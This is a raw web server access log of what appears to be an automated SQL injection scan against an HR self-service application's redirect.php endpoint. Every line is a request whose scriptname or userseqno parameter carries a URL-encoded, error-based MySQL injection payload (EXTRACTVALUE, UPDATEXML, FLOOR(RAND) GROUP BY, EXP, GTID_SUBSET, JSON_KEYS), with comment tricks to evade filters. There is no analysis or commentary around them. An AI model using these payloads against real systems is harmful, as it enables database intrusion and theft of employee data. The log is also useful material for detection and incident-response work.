100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d6b6462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70714636%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d6b6462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70714636%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x76633063%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7670346d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x76633063%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7670346d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x764a7341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30364379%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x764a7341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30364379%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a45304b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f695555%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a45304b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f695555%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f4b4369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46615451%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f4b4369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46615451%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x45373431%2C%28NULL%29%2C0x4d566c4a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67764859%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38554859%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6c346b4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644c3266%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x757a4364%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4f666b%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x564c644f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37577150%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c494b65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33446773%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7437346e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45476378%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a477537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x717a7269%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x346d4244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a53344d%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4462634c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444d5475%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c593776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474c4a63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x334c5749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43337470%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x786f3756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4235714e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d6b6462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70714636%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53317570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a51714e%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53317570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a51714e%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x464c744b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49343457%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x464c744b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49343457%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4c457175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34696831%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4c457175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34696831%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76315468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336d3862%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76315468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336d3862%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x53396c4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676c5769%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x53396c4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676c5769%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d433339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x694a3853%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
